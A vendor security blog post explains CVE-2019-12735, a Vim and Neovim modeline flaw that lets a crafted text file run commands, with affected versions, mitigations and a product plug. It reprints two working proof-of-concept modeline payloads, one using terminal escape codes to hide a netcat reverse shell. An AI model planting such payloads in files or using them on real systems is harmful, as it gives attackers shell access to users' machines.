SecPod

Learn Search

Search across all Learn content

← Back to Expressions & POVs
Open a text file and lose your system to hackers!

Open a text file and lose your system to hackers!

Code Red! To all the Linux users out there, you have a high probability of getting your system hacked if you are using an older version of the command-line text editor.

Jun 10, 2019By Nitish B3 min read
credits: www.securityaffairs.co
credits: www.securityaffairs.co

Code Red! To all the Linux users out there, you have a high probability of getting your system hacked if you are using an older version of the command-line text editor.

The most popular and commonly used Vim editor and it’s extension, the Neovim editor were recently found to be vulnerable to arbitrary code execution using a crafted text file. These can be avoided by using a vulnerability management tool. Both the editors come pre-installed with several Linux-based operating systems. This vulnerability has been assigned CVE-2019-12735 and was discovered by the security expert, Armin Razmjou. The security advisory published by the security researcher last week includes two Proof-of-Concept exploits to support his claim. Patch management tool helps in mitigating these threats.

The Crafted text file exploit mainly takes advantage of the ‘modelines’ handling methods of Vim. Modelines enable a user to set variables specific to a file. When analyzing these variables, generally placed at the start or the last few lines of a file, Vim makes appropriate changes, like setting a tab to 5 spaces.

Proof of Concept:

  1. The first PoC file mentioned in the advisory contained the following:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

After saving this in a text file, say poc1.txt, run the following command:

$ vim poc1.txt

As soon as you run this command, you can see the output of the command ‘uname -a’

  1. The following PoC can demonstrate a typical real-life scenario.

Consider the following command:

plaintext
\x1b[?7l\x1bSWelcome to SecPod Technologies.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 1234 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KWelcome to SecPod Technologies."\x16\x1b[D \n

In the above line, an attacker embeds the command to set up Netcat and contact a machine of his/her choosing and sets up Netcat to listen to a specific port for an incoming connection. All that the attacker has to do is get an unsuspecting user to open the text file using Vim, following which the attacker gains complete access to the user’s system.

user’s screen (L) and the attacker’s screen (R)
user’s screen (L) and the attacker’s screen (R)

Generally, a modeline does not allow options other than ‘set’. All other options will be executed in a sandbox to prevent security risks like shell command execution. However, Armin pointed out that the sandbox can be bypassed by using a :source! command (with the bang [!] modifier) . This runs and executes a command in such a way that the execution takes place after the sandbox is exited, which basically means that a modeline can be crafted to run code outside a sandbox.

plaintext
# vim: set foldexpr=execute('\:source! some_file'): In case of Neovim, which prevents execute() from running, assert_fails() can be used instead, as it takes a {cmd} argument too.

The security experts have assigned a high severity rating to this vulnerability.

Affected versions: Vim : 8.1.1365 and earlier

                              Neovim : 0.3.6 and earlier

Solution/Mitigation to Crafted text file

While the respective Linux Vendors have updated the source code, we are yet to receive the updates. Fedora has already released a patch and hopefully others will soon follow.

As additional measures, the researcher also recommends to

  • Disable modelines in the vimrc with the following commands

set modelines=0

set nomodeline

  • To use the securemodelines plugin, or to disable modelineexpr (since patch 8.1.1366, Vim-only) to disallow expressions in modelines.

Use SanerNow to detect and mitigate these vulnerabilities and prioritize your patching.

Featured Posts

Open The Most Effective Vulnerability Assessment Framework What Makes One Effective
The Most Effective Vulnerability Assessment Framework What Makes One Effective

Point of View

The Most Effective Vulnerability Assessment Framework What Makes One Effective

No single named standard makes a vulnerability assessment framework effective. This piece covers NIST, ISO, and CIS Controls, then breaks down what actually separates a working framework from a checklist, coverage, risk based prioritization, cadence, ownership, and a feedback loop.

Sep 11, 2026

Open Threat and Vulnerability Assessment How Risk Actually Gets Calculated
Threat and Vulnerability Assessment How Risk Actually Gets Calculated

Point of View

Threat and Vulnerability Assessment How Risk Actually Gets Calculated

A vulnerability alone doesn't tell the whole risk story. This piece breaks down how a threat and vulnerability assessment pairs technical weaknesses with real attacker context, walks through the six step process, and covers frameworks like NIST 800-30 and ISO 27005.

Sep 11, 2026

Open Vulnerability Assessment Services: What to Look For
Vulnerability Assessment Services: What to Look For

Point of View

Vulnerability Assessment Services: What to Look For

Choosing a vulnerability assessment provider means asking about actual coverage, scan frequency, and whether findings come with real prioritization or just a CVSS dump. This piece breaks down what strong vulnerability assessment services include, red flags to avoid, and questions to ask before signing.

Sep 11, 2026

Open Agentic AI Vulnerability Assessment What Changes and What Does Not
Agentic AI Vulnerability Assessment What Changes and What Does Not

Point of View

Agentic AI Vulnerability Assessment What Changes and What Does Not

Agentic AI is expanding what a vulnerability assessment needs to cover, autonomous agents bring their own credentials, tool access, and memory, adding a genuinely new asset class alongside servers and endpoints. It's also compressing attacker timelines and introducing risk categories like goal hijacking and tool misuse that don't map to a traditional CVE. But the core discipline hasn't changed: the same lifecycle of scoping, scanning, prioritizing, and remediating still applies, human judgment still drives prioritization, and accountability still sits with the people who deployed the agent, not the agent itself.

Sep 9, 2026